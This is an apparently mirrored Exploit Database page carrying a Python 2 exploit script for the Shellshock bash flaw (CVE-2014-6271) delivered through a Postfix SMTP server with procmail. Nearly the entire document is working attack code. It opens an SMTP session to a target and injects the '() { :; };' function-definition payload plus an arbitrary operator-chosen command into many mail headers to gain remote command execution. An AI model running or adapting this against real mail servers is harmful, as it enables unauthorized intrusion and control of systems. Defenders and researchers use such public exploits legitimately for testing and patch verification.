Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection

• Exploit Database
• 19 阅读

• 作者： Phil Blank
  日期： 2014-10-06
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/34896/

• #!/bin/python
  # Exploit Title:Shellshock SMTP Exploit
  # Date: 10/3/2014
  # Exploit Author: fattymcwopr
  # Vendor Homepage: gnu.org
  # Software Link: http://ftp.gnu.org/gnu/bash/
  # Version: 4.2.x < 4.2.48
  # Tested on: Debian 7 (postfix smtp server w/procmail)
  # CVE : 2014-6271
  
  from socket import *
  import sys
  
  def usage():
  print "shellshock_smtp.py <target> <command>"
  
  argc = len(sys.argv)
  if(argc < 3 or argc > 3):
  usage()
  sys.exit(0)
  
  rport = 25
  rhost = sys.argv[1]
  cmd = sys.argv[2]
  
  headers = ([
  "To",
  "References",
  "Cc",
  "Bcc",
  "From",
  "Subject",
  "Date",
  "Message-ID",
  "Comments",
  "Keywords",
  "Resent-Date",
  "Resent-From",
  "Resent-Sender"
  ])
  
  s = socket(AF_INET, SOCK_STREAM)
  s.connect((rhost, rport))
  
  # banner grab
  s.recv(2048*4)
  
  def netFormat(d):
  d += "\n"
  return d.encode('hex').decode('hex')
  
  data = netFormat("mail from:<>")
  s.send(data)
  s.recv(2048*4)
  
  data = netFormat("rcpt to:<nobody>")
  s.send(data)
  s.recv(2048*4)
  
  data = netFormat("data")
  s.send(data)
  s.recv(2048*4)
  
  data = ''
  for h in headers:
  data += netFormat(h + ":() { :; };" + cmd)
  
  data += netFormat(cmd)
  
  # <CR><LF>.<CR><LF>
  data += "0d0a2e0d0a".decode('hex')
  
  s.send(data)
  s.recv(2048*4)
  
  data = netFormat("quit")
  s.send(data)
  s.recv(2048*4)